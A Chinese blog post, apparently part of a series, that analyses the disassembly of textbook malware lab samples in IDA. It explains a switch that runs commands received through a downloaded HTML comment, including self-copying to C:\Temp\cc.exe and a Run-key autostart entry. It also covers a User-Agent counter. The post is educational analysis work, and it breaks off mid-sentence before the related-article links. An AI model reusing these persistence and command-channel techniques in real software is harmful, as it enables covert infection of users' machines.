从反汇编看恶意程序的C语言结构(二)

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: 从反汇编看恶意程序的C语言结构

详细分析

还是先看看导入表,一些旧东西

修改注册表的api函数, RegSet ValueExA和 RegOpenKeyExA 一起用于向注册表中插入信息,在设置应用程序启动项/开机自启时,通常会使用这两个函数

字符串也是发现了一些很有意思的,在临时目录会生成 cc.exe 文件,还会去修改注册表的自启动项目录

下面接着看main 函数,与上一个恶意样本很像,接下来就找不同

401000 处的检查网络连接和 401040处的下载网页与 上一篇基本相同,而不同的是这里多了对401030的调用

仔细分析 401130处的函数

根据注释可以看出是 switch 分支语句

看下它传入的参数,在调用前,传入了 argv 和 var_8 push入栈作为参数,这里的 argv就是argv[0],就是这个程序的字符串引用,

追踪 var_8 参数,发现在 40122D 处被设置为AL。此时 eax 存放的是上一个调用函数 401040的返回值,即html注释中的解析字符

再来分析401130

arg_0 是IDA 自动生成的标签,用于标记调用函数前最后一个被push入栈的参数,所以这里的 arg_0 是解析得到的html指令字符,并赋值给 var_8,接着加载到ecx中执行,减去61h,因此,如果传入的arg_0 =a,执行sub指令后,ecx归0

接下来 cmp ecx 和4,检查 arg_0 是否是 a-e 中的某个字符,如果不是,ja 跳转到 401153,如果是的话,这个指令字符放入edx中,被用作跳转表的索引,看到下面 edx*4,因为这是switch结构,跳转表是一组指向不同函数的地址表,每个地址的大小占4个字节,而下面也正如我们所料,跳转表有5条记录

.text:00401130                 push    ebp
.text:00401131                 mov     ebp, esp
.text:00401133                 sub     esp, 8
.text:00401136                 movsx   eax, [ebp+arg_0]
.text:0040113A                 mov     [ebp+var_8], eax
.text:0040113D                 mov     ecx, [ebp+var_8]
.text:00401140                 sub     ecx, 61h ; 'a'  ; switch 5 cases
.text:00401143                 mov     [ebp+var_8], ecx
.text:00401146                 cmp     [ebp+var_8], 4
.text:0040114A                 ja      def_401153      ; jumptable 00401153 default case
.text:00401150                 mov     edx, [ebp+var_8]
.text:00401153                 jmp     ds:jpt_401153[edx*4] ; switch jump
.text:0040115A ; ---------------------------------------------------------------------------
.text:0040115A
.text:0040115A loc_40115A:                             ; CODE XREF: sub_401130+23↑j
.text:0040115A                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040115A                 push    0               ; jumptable 00401153 case 97
.text:0040115C                 push    offset PathName ; "C:\\Temp"
.text:00401161                 call    ds:CreateDirectoryA
.text:00401167                 jmp     loc_4011EE
.text:0040116C ; ---------------------------------------------------------------------------
.text:0040116C
.text:0040116C loc_40116C:                             ; CODE XREF: sub_401130+23↑j
.text:0040116C                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040116C                 push    1               ; jumptable 00401153 case 98
.text:0040116E                 push    offset Data     ; "C:\\Temp\\cc.exe"
.text:00401173                 mov     eax, [ebp+lpExistingFileName]
.text:00401176                 push    eax             ; lpExistingFileName
.text:00401177                 call    ds:CopyFileA
.text:0040117D                 jmp     short loc_4011EE

分别来看这5条语句调用函数的地址

.text:0040115A loc_40115A:                             ; CODE XREF: sub_401130+23↑j
.text:0040115A                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040115A                 push    0               ; jumptable 00401153 case 97
.text:0040115C                 push    offset PathName ; "C:\\Temp"
.text:00401161                 call    ds:CreateDirectoryA
.text:00401167                 jmp     loc_4011EE
.text:0040116C ; ---------------------------------------------------------------------------
.text:0040116C
.text:0040116C loc_40116C:                             ; CODE XREF: sub_401130+23↑j
.text:0040116C                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040116C                 push    1               ; jumptable 00401153 case 98
.text:0040116E                 push    offset Data     ; "C:\\Temp\\cc.exe"
.text:00401173                 mov     eax, [ebp+lpExistingFileName]
.text:00401176                 push    eax             ; lpExistingFileName
.text:00401177                 call    ds:CopyFileA
.text:0040117D                 jmp     short loc_4011EE
.text:0040117F ; ---------------------------------------------------------------------------
.text:0040117F
.text:0040117F loc_40117F:                             ; CODE XREF: sub_401130+23↑j
.text:0040117F                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040117F                 push    offset Data     ; jumptable 00401153 case 99
.text:00401184                 call    ds:DeleteFileA
.text:0040118A                 jmp     short loc_4011EE
.text:0040118C ; ---------------------------------------------------------------------------
.text:0040118C
.text:0040118C loc_40118C:                             ; CODE XREF: sub_401130+23↑j
.text:0040118C                                         ; DATA XREF: .text:jpt_401153↓o
.text:0040118C                 lea     ecx, [ebp+phkResult] ; jumptable 00401153 case 100
.text:0040118F                 push    ecx             ; phkResult
.text:00401190                 push    0F003Fh         ; samDesired
.text:00401195                 push    0               ; ulOptions
.text:00401197                 push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVe"...
.text:0040119C                 push    80000002h       ; hKey
.text:004011A1                 call    ds:RegOpenKeyExA
.text:004011A7                 push    0Fh             ; cbData
.text:004011A9                 push    offset Data     ; "C:\\Temp\\cc.exe"
.text:004011AE                 push    1               ; dwType
.text:004011B0                 push    0               ; Reserved
.text:004011B2                 push    offset ValueName ; "Malware"
.text:004011B7                 mov     edx, [ebp+phkResult]
.text:004011BA                 push    edx             ; hKey
.text:004011BB                 call    ds:RegSetValueExA
.text:004011C1                 test    eax, eax
.text:004011C3                 jz      short loc_4011D2
.text:004011C5                 push    offset aError31CouldNo ; "Error 3.1: Could not set Registry value"...
.text:004011CA                 call    sub_401271
.text:004011CF                 add     esp, 4
.text:004011D2
.text:004011D2 loc_4011D2:                             ; CODE XREF: sub_401130+93↑j
.text:004011D2                 jmp     short loc_4011EE
.text:004011D4 ; ---------------------------------------------------------------------------
.text:004011D4
.text:004011D4 loc_4011D4:                             ; CODE XREF: sub_401130+23↑j
.text:004011D4                                         ; DATA XREF: .text:jpt_401153↓o
.text:004011D4                 push    186A0h          ; jumptable 00401153 case 101
.text:004011D9                 call    ds:Sleep
.text:004011DF                 jmp     short loc_4011EE
a:调用createdirectory函数,参数是 C:\\Temp,如果该目录不存在,则创建该目录
b:调用copy file函数,两个参数分别是源文件(argv[0]即目标程序)和目的文件(C:\\Temp\cc.exe)
c:调用deletefile函数,当 C:\\Temp\cc.exe 文件存在时删除它
d:调用 RegSet ValueExA和 RegOpenKeyExA 在注册表中添加开机自启,即将Software\Microsoft Windows \CurrentVersion\Run\Malware 的值添加为C:\\Temp\cc.exe,这样目标机器每次开机时都会启动该恶意程序 
e:调用sleep函数,参数100s

总结

该程序的主要功能也了然于胸了,首先 if 判断是否联网,不联网程序终止。联网的话程序会去下载一个网页,其中包含了html的注释头部,并解析出第一个字符,用来校验switch的参数,决定执行哪条语句(创建目录/拷贝文件/删除文件/修改注册表/sleep)

详细分析

首先还是先看下导入表,和前面一样,并没有多余的改变。

字符串的唯一变化就是多了 Internet Explorer 7.5 ,看来是多了个 user-agent 代理

相同的这些就不说了,来看看不同点有哪些

来到main函数这里,也是很多相同的函数,401000(判断Internet是否连接),401040(解析HTML),4012b5(printf函数),401150(switch语句)

而当我们看整个函数视图的时候,发现了一个向上的箭头,很明显出现了循环

那就来分析下这段循环结构

00401248 ; ---------------------------------------------------------------------------
.text:00401248
.text:00401248 loc_401248:                             ; CODE XREF: _main+12↑j
.text:00401248                 mov     [ebp+var_C], 0
.text:0040124F                 jmp     short loc_40125A
.text:00401251 ; ---------------------------------------------------------------------------
.text:00401251
.text:00401251 loc_401251:                             ; CODE XREF: _main+7D↓j
.text:00401251                 mov     eax, [ebp+var_C]
.text:00401254                 add     eax, 1
.text:00401257                 mov     [ebp+var_C], eax
.text:0040125A
.text:0040125A loc_40125A:                             ; CODE XREF: _main+1F↑j
.text:0040125A                 cmp     [ebp+var_C], 5A0h
.text:00401261                 jge     short loc_4012AF
.text:00401263                 mov     ecx, [ebp+var_C]
.text:00401266                 push    ecx
.text:00401267                 call    sub_401040
.text:0040126C                 add     esp, 4
.text:0040126F                 mov     [ebp+var_8], al
.text:00401272                 movsx   edx, [ebp+var_8]
.text:00401276                 test    edx, edx
.text:00401278                 jnz     short loc_40127E
.text:0040127A                 xor     eax, eax
.text:0040127C                 jmp     short loc_4012B1
.text:0040127E ; ---------------------------------------------------------------------------
.text:0040127E
.text:0040127E loc_40127E:                             ; CODE XREF: _main+48↑j
.text:0040127E                 movsx   eax, [ebp+var_8]
.text:00401282                 push    eax
.text:00401283                 push    offset aSuccessParsedC ; "Success: Parsed command is %c\n"
.text:00401288                 call    sub_4012B5
.text:0040128D                 add     esp, 8
.text:00401290                 mov     ecx, [ebp+argv]
.text:00401293                 mov     edx, [ecx]
.text:00401295                 push    edx             ; lpExistingFileName
.text:00401296                 mov     al, [ebp+var_8]
.text:00401299                 push    eax             ; char
.text:0040129A                 call    sub_401150
.text:0040129F                 add     esp, 8
.text:004012A2                 push    0EA60h          ; dwMilliseconds
.text:004012A7                 call    ds:Sleep
.text:004012AD                 jmp     short loc_401251

很明显,var_c 是用来循环计数的,在 4012AD 处 jmp 401251,返回递增,如果大于5A0h(1440d) 就在401261处跳出循环到 4012AF,循环结束.否则程序接着运行,在401263处开始。将ecx(var_c) push入栈,接着调用401040(解析html)函数,然后慢慢执行,在4012A7 处调用sleep函数,参数是 EA60h(60000d),即1分钟,所以这个程序会sleep 1440 分钟(24小时)

在上一个程序中,401040 处并没有参数,而这里传入了 arg_0 作为参数,并且是唯一的参数,而在调用 401040 前,push进了ecx,即var_c,所以这里的arg_0 就是var_c(计数器),push arg_0入栈后,接着push了 Internet Explorer 7.50/pma%d 字符串,和 szAgent的地址。然后调用_sprintf 函数,用来将格式化的数据写入字符串,并存储在szAgent 中。然后在40106a调用 INternetOpen 函数,传入的参数是 szAgent,也就是说,每次var_C 计数器增加后, user-agent长度也会随之改变。这里就可以用来监测该程序运行了多长时间。

text:00401040                 push    ebp
.text:00401041                 mov     ebp, esp
.text:00401043                 sub     esp, 230h
.text:00401049                 mov     eax, [ebp+arg_0]
.text:0040104C                 push    eax
.text:0040104D                 push    offset Format   ; "Internet Explorer 7.50/pma%d"
.text:00401052                 lea     ecx, [ebp+szAgent]
.text:00401055                 push    ecx             ; Buffer
.text:00401056                 call    _sprintf
.text:0040105B                 add     esp, 0Ch
.text:0040105E                 push    0               ; dwFlags
.text:00401060                 push    0               ; lpszProxyBypass
.text:00401062                 push    0               ; lpszProxy
.text:00401064                 push    0               ; dwAccessType
.text:00401066                 lea     edx, [ebp+szAgent]
.text:00401069                 push    edx             ; lpszAgent
.text:0040106A                 call    ds:InternetOpenA
.text:00401070                 mov     [ebp+hInternet], eax
.text:00401073                 push    0               ; dwContext
.text:00401075                 push    0               ; dwFlags
.text:00401077                 push    0               ; dwHeadersLength
.text:00401079                 push    0               ; lpszHeaders
.text:0040107B                 push    offset szUrl    ; "http://www.practicalmalwareanalysis.com"...
.text:00401080                 mov     eax, [ebp+hInternet]
.text:00401083                 push    eax             ; hInternet
.text:00401084                 call    ds:InternetOpenUrlA
.text:0040108A                 mov     [ebp+hFile], eax
.text:0040108D                 cmp     [ebp+hFile], 0
.text:00401091                 jnz     short loc_4010B1
.text:00401093                 push    offset aError21FailToO ; "Error 2.1: Fail to OpenUrl\n"
.text:00401098                 call    sub_4012B5
.text:0040109D                 add     esp, 4
.text:004010A0                 mov     ecx, [ebp+hInternet]
.text:004010A3                 push    ecx             ; hInternet
.text:004010A4                 call    ds:InternetCloseHandle
.text:004010AA                 xor     al, al
.text:004010AC                 jmp     loc_401140

总结

首先,程序会使用if结构检查是否建立连接。如果无,程序终止运行。否则,程序使用

一个上面提到的的User-Agent 来下载一个html, 这个User-Agent包含了一个循环结构的计数器,用于向attacker显示程序已

经运行了多长时间。下载的网页中包含了以

相关文章
|
1月前
|
存储 自然语言处理 编译器
【C语言】编译与链接:深入理解程序构建过程
【C语言】编译与链接:深入理解程序构建过程
|
1月前
|
网络协议 编译器 Linux
【C语言】结构体内存对齐:热门面试话题
【C语言】结构体内存对齐:热门面试话题
|
20天前
|
存储 搜索推荐 算法
【数据结构】树型结构详解 + 堆的实现(c语言)(附源码)
本文介绍了树和二叉树的基本概念及结构,重点讲解了堆这一重要的数据结构。堆是一种特殊的完全二叉树,常用于实现优先队列和高效的排序算法(如堆排序)。文章详细描述了堆的性质、存储方式及其实现方法,包括插入、删除和取堆顶数据等操作的具体实现。通过这些内容,读者可以全面了解堆的原理和应用。
60 16
|
1月前
|
编译器 C语言 Python
C语言结构
C语言结构
17 0
|
1月前
|
存储 文件存储 C语言
深入C语言:文件操作实现局外影响程序
深入C语言:文件操作实现局外影响程序
|
2月前
|
存储 编译器 程序员
C语言程序的基本结构
C语言程序的基本结构包括:1)预处理指令,如 `#include` 和 `#define`;2)主函数 `main()`,程序从这里开始执行;3)函数声明与定义,执行特定任务的代码块;4)变量声明与初始化,用于存储数据;5)语句和表达式,构成程序基本执行单位;6)注释,解释代码功能。示例代码展示了这些组成部分的应用。
96 10
|
2月前
|
C语言
C语言程序设计核心详解 第四章&&第五章 选择结构程序设计&&循环结构程序设计
本章节介绍了C语言中的选择结构,包括关系表达式、逻辑表达式及其运算符的优先级,并通过示例详细解释了 `if` 语句的不同形式和 `switch` 语句的使用方法。此外,还概述了循环结构,包括 `while`、`do-while` 和 `for` 循环,并解释了 `break` 和 `continue` 控制语句的功能。最后,提供了两道例题以加深理解。
|
2月前
|
存储 算法 C语言
数据结构基础详解(C语言): 二叉树的遍历_线索二叉树_树的存储结构_树与森林详解
本文从二叉树遍历入手,详细介绍了先序、中序和后序遍历方法,并探讨了如何构建二叉树及线索二叉树的概念。接着,文章讲解了树和森林的存储结构,特别是如何将树与森林转换为二叉树形式,以便利用二叉树的遍历方法。最后,讨论了树和森林的遍历算法,包括先根、后根和层次遍历。通过这些内容,读者可以全面了解二叉树及其相关概念。
|
2月前
|
C语言
C语言程序设计核心详解 第三章:顺序结构,printf(),scanf()详解
本章介绍顺序结构的基本框架及C语言的标准输入输出。程序从`main()`开始依次执行,框架包括输入、计算和输出三部分。重点讲解了`printf()`与`scanf()`函数:`printf()`用于格式化输出,支持多种占位符;`scanf()`用于格式化输入,需注意普通字符与占位符的区别。此外还介绍了`putchar()`和`getchar()`函数,分别用于输出和接收单个字符。
|
2月前
|
存储 机器学习/深度学习 C语言
数据结构基础详解(C语言): 树与二叉树的基本类型与存储结构详解
本文介绍了树和二叉树的基本概念及性质。树是由节点组成的层次结构,其中节点的度为其分支数量,树的度为树中最大节点度数。二叉树是一种特殊的树,其节点最多有两个子节点,具有多种性质,如叶子节点数与度为2的节点数之间的关系。此外,还介绍了二叉树的不同形态,包括满二叉树、完全二叉树、二叉排序树和平衡二叉树,并探讨了二叉树的顺序存储和链式存储结构。